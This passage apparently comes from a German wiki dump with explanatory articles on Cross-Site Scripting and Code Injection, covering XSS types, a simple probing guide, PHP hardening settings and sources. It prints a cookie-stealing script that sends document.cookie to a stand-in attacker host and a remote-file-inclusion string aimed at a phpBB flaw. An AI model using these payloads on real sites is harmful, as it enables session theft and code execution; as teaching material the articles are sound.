[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998

[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.
-ISBN 3-540-63391-X

[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff

=Siehe auch=

[[SQL Injection]]
[[Codeinjection]]
[[Whitelisting]]
[[Blacklisting]]

[[Kategorie:Sicherheit]]

Cross Site Scripting

2007-06-25T14:37:29Z

Jkonrad:

{{In Bearbeitung}}

=Definition=
Cross-Site Scripting (XSS) nutzt eine Sicherheitslücke in der angegriffenen Anwendung aus und kann dazu verwendet werden,
Daten einer Originalseite zu verändern und zählt damit zu den aktiven Angriffen.

XSS ist eine der am häufigsten verbreiteten Methoden, Angriffe auf ungeschützte Webseiten
auszuführen und wird in der Verwendung nur noch vom [[Bufferoverflow]], bei dem Teile des
Speichers überschrieben werden um den Programmablauf zu verändern, übertroffen.

Beim XSS werden Informationen durch einen Angreifer in eine vermeintlich sichere Seite eingebettet.

Es ist zum Teil für den Angreifer möglich, sensitive Daten von Benutzern der
veränderten Webseite zu stehlen, wie z.B. Bankdaten, Zugangsdaten oder persönliche und finanzielle
Informationen.

Durch XSS können auch Fehlinformationen verbreitet und Nutzer überwacht werden.

XSS kann auch als Grundlage für weiterführende Angriffe dieneen, z. B. indem ein Angreifer in eine Webseite,
die für mehrere Tausend Besucher täglich ausgelegt ist, Code injiziert. Dieser Code könnte
einen Download großer Dateien vom Server eines Opfers veranlassen. Da das bei mehreren Tausend Benutzern
passiert wird damit also eine [[Denial of Service]] (DoS) Attacke) auslöst, was genügen sollte, um
den angegriffenen Server unerreichbar zu machen.

=2.1 Reflektiertes XSS=

Das reflektierte - oder auch serverseitige - XSS ist der häufigste Vertreter von XSS-Angriffen und
wird im [[Phishing]]markt angewendet. Hierbei muss ein Opfer eine präparierte URL anklicken. In
Variablen und Parametern dieser URL wird Code eingefügt, den die Anwendung auf dem Server
übernimmt und in die Webseite einbettet. Das kann ein Suchausdruck, ein Username oder auch
eine E-Mail Adresse sein.

Der Angriff läuft folgendermaßen ab: die vom Angreifer veränderte URL wird durch ein Opfer
angeklickt und somit an den betroffenen Server als Anfrage verschickt. Hier ist die Web-Applikation
fehlerhaft und ermöglicht es dem Angreifer, den dynamisch generierten HTML-Code zu
verändern. Der Benutzer sieht nun die manipulierte Seite in seinem Browser.

=2.2 Persistentes (beständiges) XSS=

Auch das persistente XSS ist Serverseiteig, d.h. die Veränderungen werden auf dem Server vorgenommen
und der Schadcode wird über die URL an den Browser zurück geschickt, hier wird
allerdings der Inhalt der Datenbank ebenfalls verändert. Deswegen kann dieser Schadcode auch
Benutzer erreichen die die manipulierte URL nicht angeklickt haben. Um die Attacke zu starten,
reicht es hier völlig, wenn der Angreifer selbst den manipulierten Link anklickt.

Dieser Angriff wird zwar ähnlich dem reflektierenden XSS ausgelöst, verläuft aber etwas anders.
Wie schon beschrieben, ruft der Angreifer eine manipulierte URL auf und sendet somit eine Anfrage
an den Server. Die fehlerhafte Web-Applikation verarbeitet die Anfrage und speichert den
injizierten Code in der Datenbank. Von nun an wird jeder Besucher dieser Seite den veränderten
HTML-Code vorfinden.

=2.3 Lokales ([[DOM]]-basiertes) XSS=

Wie der Name schon vermuten lässt, ist das lokale XSS clientseitig, d.h. der komplette Angriff
findet auf dem Rechner des Opfers statt. Dieser Angriff findet häufig bei Web 2.0 Anwendungen
statt, da hier der Java oder Java-Script Code im Browser des Benutzers ausgeführt wird.

Da der Angriff im Browser des Benutzers stattfindet, wird auch der schädliche Code in der Sprache
des Browsers gehalten und wird als Parameter an die Webseite übergeben. Falls dieser Code in
der Webseite wieder enthalten ist, kann es passieren, dass der Browser des Benutzers diesen Code
ausführt und evtl. Daten in ein Formular der generierten Seite einträgt, die anschließend an den
Angreifer weitergeleitet werden.

Besonders gefährlich wird dieser Angriff, wenn die manipulierte Seite besondere Rechte im
Browser besitzt. Je nach verwendeter Skriptsprache könnte die manipulierte Anwendung Cookies
mit Anmeldeinformationen stehlen oder mit den Rechten des lokalen Benutzers Daten auf
dem Rechner verändern. Dies könnte sich besonders bei Windows-Systemen als fatal erweisen,
da der lokale Benutzer oft gleichzeitig der Administrator ist.

Ein Angriff würde wie folgt ablaufen: der Benutzer klickt wieder eine manipulierte URL an und
schickt damit eine Anfrage an die Web-Applikation. Diese antwortet, indem der Skriptcode (der
fehlerhaft, jedoch nicht manipuliert ist) an den Browser übergeben wird, um dort die Ausführung
des Skripts zu starten. Die manpulierten Parameter aus der URL werden nun im Browser des Benutzers
als Teil des Skripts interpretiert und ausgeführt. Über DOM-Zugriffe wird die im Browser
dargestellte Webseite verändert, der Benutzer sieht nun die manipulierte Seite.

=2.4 XSS – eine kleine „Anleitung“=

Zunächst müssen potentielle Opfer gefunden werden, d.h. es muss nach Anzeichen für die Angreifbarkeit
einer Seite gesucht werden. Das ist bei Anwendungen der Fall, die die vom Benutzer
vorgenommenen Eingaben wieder ausgeben - ob es ein Suchstring ist oder ein Foreneintrag ist,
spielt dabei keine Rolle. Auch das Einbetten des vom Benutzer vorgenommenen Textes in Fehlermeldungen
kann ein Anzeichen für die Anfälligkeit auf XSS sein.

Dafür werden die Bereiche auf Seiten gesucht, die Eingaben durch Benutzer zulassen, wie z.B.
Login-Fenster, Suchfelder und Ähnliches. Foreneinträge und Message Boards sind dafür prädestiniert,
da die Eingabe durch Nutzer auf jeden Fall wieder angezeigt wird. jedoch gilt hier immer
noch zu prüfen, ob eine Anfälligkeit auf XSS vorhanden ist.

Sobald ein potentiell betroffenes Feld gefunden wurde, trägt man einen beliebigen String in dieses
Feld ein, z.B. „test“. Nach einer Bestätigung, wird die Übertragung zum Server gestartet und in
der Antwort des Servers wird der vorher eingegebene String gesucht. Der gesuchte String könnte
z.B. in Form einer Fehlermeldung wie „Invalid login ’test’“ wieder auftauchen.
Falls der Teststring ausgegeben wurde, kann getestet werden, ob die Seite gegen XSS
geschützt ist.

Dazu wird in das selbe Feld JavaScript Code eingetragen, wie z.B.
„<script>alert(’hello’)</script>“ und an den Server übermittelt. Falls nun ein Pop-up-Fenster aufgeht,
in dem „hello“ zu sehen ist, ist die untersuchte Seite eindeutig von XSS betroffen.

Auch wenn kein Fenster aufgeht, kann es sein, dass der neu generierte HTML-Code den eingetragenen
String enthält und dieser nur nicht vom verwendeten Browser ausgeführt wurde, da
beispielsweise JavaScript deaktiviert ist. Um also sicher ausschließen zu können, dass die Seite
diesem kleinen „Anschlag“ widerstanden hat, sollte der generierte HTML-Code untersucht und
geprüft werden, ob der eingetragene String (<script>alert(’hello’)</script>) im HTML-Code der
Seite auftaucht oder nicht.

=Gegenmaßnahmen=

Viele Programmiersprachen bringen von Haus aus Sicherheitsoptionen mit sich, die auch eingesetzt
werden sollten, wie z.B. die Möglichkeiten die PHP mitbringt, um Zugriffe von außen zu
vermeiden. Da PHP eine der Skriptsprachen ist, die heutzutage am häufigsten verwendet wird,
um Internetauftritte zu gestalten, werden einige der relevanten Sicherheitsoptionen nachfolgend
kurz vorgestellt:
– allow_url_fopen = off
Diese Option erlaubt es, PHP-Skripten nur noch lokale Dateien des Servers einzubinden. Damit
können keine Skripte von externen Servern mehr ausgeführt werden.
– open_basedir = /pfad/zum/www-ordner
schränkt den Arbeitsbereich der Anwendung auf ein Verzeichnis ein. Die Applikation ist nicht
mehr in der Lage Dateien außerhalb dieses Verzeichnisses zu öffnen. Die Unterordner dieses
Verzeichnisses können weiterhin benutzt werden.
– save-mode = on
schränkt die Zugriffsrechte der PHP-Anwendung ein auf Dateien die dem Nutzer gehören.
Darüber hinaus werden auch einige gefährliche Funktionen wie shell-exec() gesperrt. Eine
weitere Steuerung ist durch weitere Optionen dennoch möglich.
– display_errors = off
Da manche Angriffe gezielt Fehlermeldungen provozieren um z.B. Systempfade
zur Applikation auszulesen, bietet diese Option die Möglichkeit, das Ausgeben von
Fehlermeldungen zu unterbinden.

Neben dem sauberen Programmieren sollte grundsätzlich allen Daten, die in
irgendeiner Form von außen manipuliert worden sein könnten, misstraut werden. Diese Daten sollten als unsicher
angesehen und auf Gültigkeit hin geprüft werden. Das gilt auch für die Variablen in den URLs!

Es sollten keine ungefilterten Strings zur Weiterverarbeitung durchgereicht werden, also z.B.
Steuerzeichen durch ihre Escapesequenzen ersetzen.

Zwar würde dadurch kein unerwünschter Befehl mehrausgeführt werden, allerdings hat das Ersetzen
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.

Deswegen gibt es listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen
Tags verändert werden. Es wird dabei das [[Whitelisting]] und das [[Blacklisting]] unterschieden.

=Quellen=

[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html
[5] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/
news/meldung/89885
[6] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html
[7] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/
articles/code-injection.html
[10] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff
[11] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8
[12] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8
[13] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1
[14] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998
[15] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.
-ISBN 3-540-63391-X
[16] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff

=Siehe auch=

*[[SQL Injection]]
*[[Codeinjection]]
*[[Whitelisting]]
*[[Blacklisting]]

[[Kategorie:Sicherheit]]

Code Injection

2007-06-25T14:35:37Z

Jkonrad:

{{In Bearbeitung}}

=Definition=

Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also
überall dort, wo Benutzer etwas selbstständig eintragen dürfen.

Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.

Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite,
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.

Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code
verwendet werden.

=Beispiel: Stehlen eines Cookies=

Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit

setcookie("xss" , "This content will be stored in a cookie" );

ein Cookie mit dem Namen xss und dem Inhalt "This content will be stored in a cookie" beim Benutzer an.
Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).

Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:
<scrpt>document.location="http://www.evilsite.com/evilscript.php?
info="+document.cookie;</script>

Anschließend wird im Browser, der folgende Link angezeigt:

http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie

Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.

=Beispiel: Umleitung einer Seite=
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [10] vorgeführt.

Mit der Anweisung

include_once($phpbb_root_path=’common.php’)

wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,
indem man die dynamische Seite mit folgendem Code „fütterte“ :
/plugin.php&phpbb_root_path=http://evil.de

Dies führte dazu, das statt der gewünschten Datei die Datei http://evil.de/common.php ausgeführt
wurde.
Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.

=Gängige Vertreter=
[[SQL Injection]], wird am häufigsten eingesetzt

[[LDAP Injection]]

[[SSI Injection]]

[[XPath Injection]]

=Quellen=

[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.
ckers.org/xss.html

[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885

[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html

[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html

[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff

[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8

[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8

[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1

[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998

[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.
-ISBN 3-540-63391-X

[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff

=Siehe auch=

[[Cross Site Scripting]]

[[Whitelisting]]

[[Blacklisting]]

[[Kategorie:Sicherheit]]